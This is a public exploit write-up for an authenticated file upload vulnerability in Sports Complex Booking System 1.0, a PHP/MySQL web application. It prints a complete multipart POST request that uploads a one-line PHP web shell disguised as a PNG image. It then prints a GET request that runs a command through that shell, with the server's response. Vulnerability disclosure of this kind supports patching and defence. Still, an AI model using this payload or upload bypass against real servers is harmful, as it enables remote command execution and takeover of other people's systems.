# Title: Sports Complex Booking System 1.0 Shell Upload # Author: Hejap Zairy # Date: 24.07.2022 # Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html # Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip # Reference: https://github.com/Matrix07ksa # Tested on: Windows, MySQL, Apache registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw #vulnerability Code php Needs more filtering to upload profile files php``` window.displayImg = function(input,_this) { if (input.files && input.files[0]) { var reader = new FileReader(); reader.onload = function (e) { $('#cimg').attr('src', e.target.result); _this.siblings('.custom-file-label').html(input.files[0].name) } reader.readAsDataURL(input.files[0]); }else{ $('#cimg').attr('src', "<?php echo validate_image(isset($image_path) ? $image_path : "") ?>"); _this.siblings('.custom-file-label').html("Choose file") } } ``` [+] Payload POST ``` POST /scbs/?p=manage_account HTTP/1.1 Host: 0day.gov Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738 Content-Length: 882 Origin: https://0day.gov Referer: https://0day.gov/scbs/ Upgrade-Insecure-Requests: 1 Te: trailers Connection: close -----------------------------409902128312379197203124536738 Content-Disposition: form-data; name="productName" Hejap Zairy -----------------------------409902128312379197203124536738 Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php" Content-Type: image/png <?=`$_GET[515]`?> -----------------------------409902128312379197203124536738 Content-Disposition: form-data; name="submit" -----------------------------409902128312379197203124536738-- ``` #Status: CRITICAL [+] Payload GET ``` GET /scbs/dist/img/0day_hejap.php?515=echo%200day%20hejap%20Zairy HTTP/1.1 Host: 0day.gov Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Te: trailers Connection: close ``` #Response ``` HTTP/1.1 200 OK Date: Sun, 20 Mar 2022 08:04:28 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27 X-Powered-By: PHP/7.4.27 Content-Length: 17 Connection: close Content-Type: text/html; charset=UTF-8 0day hejap Zairy ``` # Description: The file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers. # Proof and Exploit: https://i.imgur.com/us3lA1l.png